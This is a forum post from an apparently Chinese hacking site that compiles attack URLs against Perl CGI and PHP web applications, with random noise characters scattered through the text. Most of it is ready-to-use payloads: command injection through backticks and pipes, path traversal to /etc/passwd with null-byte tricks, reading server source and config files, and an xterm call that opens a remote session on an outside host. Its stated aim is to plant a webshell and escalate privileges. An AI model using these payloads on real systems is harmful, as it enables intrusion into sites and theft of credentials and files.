找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2885|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
% {$ Z& z, ?5 q+ r8 Wcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
$ v$ x! q7 k0 h6 h感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  " \9 y) _9 r- M
注“  + U. a' d+ R  U. p
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  6 E$ F& z0 a  o! b: E
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
( B* ]: Y: L; s% K- H1 n& W+ u: Z8 r0 W7 ?3 j% n
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  7 S  l. ^; j& s6 S
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
$ S5 Z) Q, }: ]5 a$ J, u+ hhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
" j1 U( G+ B2 phttp://target.com/cgi-bin/home/news/sub.pl?`id`  
8 r6 x; o- W! U7 a9 N: K2 ahttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
2 g0 {6 i  V# u; }) @http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  * j( y. z5 i( H

5 E* {% C. ]: U6 E0 thttp://target.com/test.pl;ls|  
9 c2 K1 t3 h8 Y4 S7 l- ]http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
5 J4 v  ^6 `' `9 ?http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  8 }: u+ o6 a: k( ^# N/ D
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
& r  |* G  ?6 O$ z" @比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
8 i5 L/ T& \0 A6 X! u8 Rhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
& ]7 e  a' S4 p5 V3 ~1 P: G/ f$ Q+ W( X
http://target.com/test.pl?&........ /../../etc/passwd  
% i$ Q) n$ ^( @
! V: F2 j: g- F" ]6 {$ s! W/ r# Z  Bhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  1 ~5 A; S  A; X- w
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ! ~% p3 C3 I& H2 X6 r6 h7 |
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  8 N1 x' l5 p8 A' s0 k
& i& h0 L4 v  |( d3 p
http://www.target.org/show.php?f ... /include/config.php 查看php代码  ( ^6 G& F, j+ Q2 ?* }
http://www.target.org/show.php?f ... ng/admin/global.php  
1 D. V  P1 R# z+ l$ W+ k* O" g$ R
" B9 u3 C  ]$ d9 E/ c, D0 demm和ps的一句话2 J4 r# U; s7 k( M4 x" h
/ |6 _4 f# V$ j* H) B
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  0 g9 Z6 h" c! l; z1 T
& P# T8 `( q0 o' M. _
>bbb%20|  ( Z) j  H- [- l/ P

- O0 H, L8 M, I- Z6 F" Ghttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  / }# {' V' x: D$ s# G/ ^! X- U

2 Z0 S* K7 x; T9 nhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  + W9 x) `8 }+ `
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
; s8 a$ }  ?, J2 O
# d  P! Z$ K3 \( @* d相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  1 v! j9 |. Y% L1 V
http://target.com/index.html#cmd.exe  # B  E. g" g9 x1 Y7 Y
http://target.com/index.html?dummyparam=xp_cmdshell  
$ |- A1 {. ]' Rlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  + s+ w; R( C& a8 o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表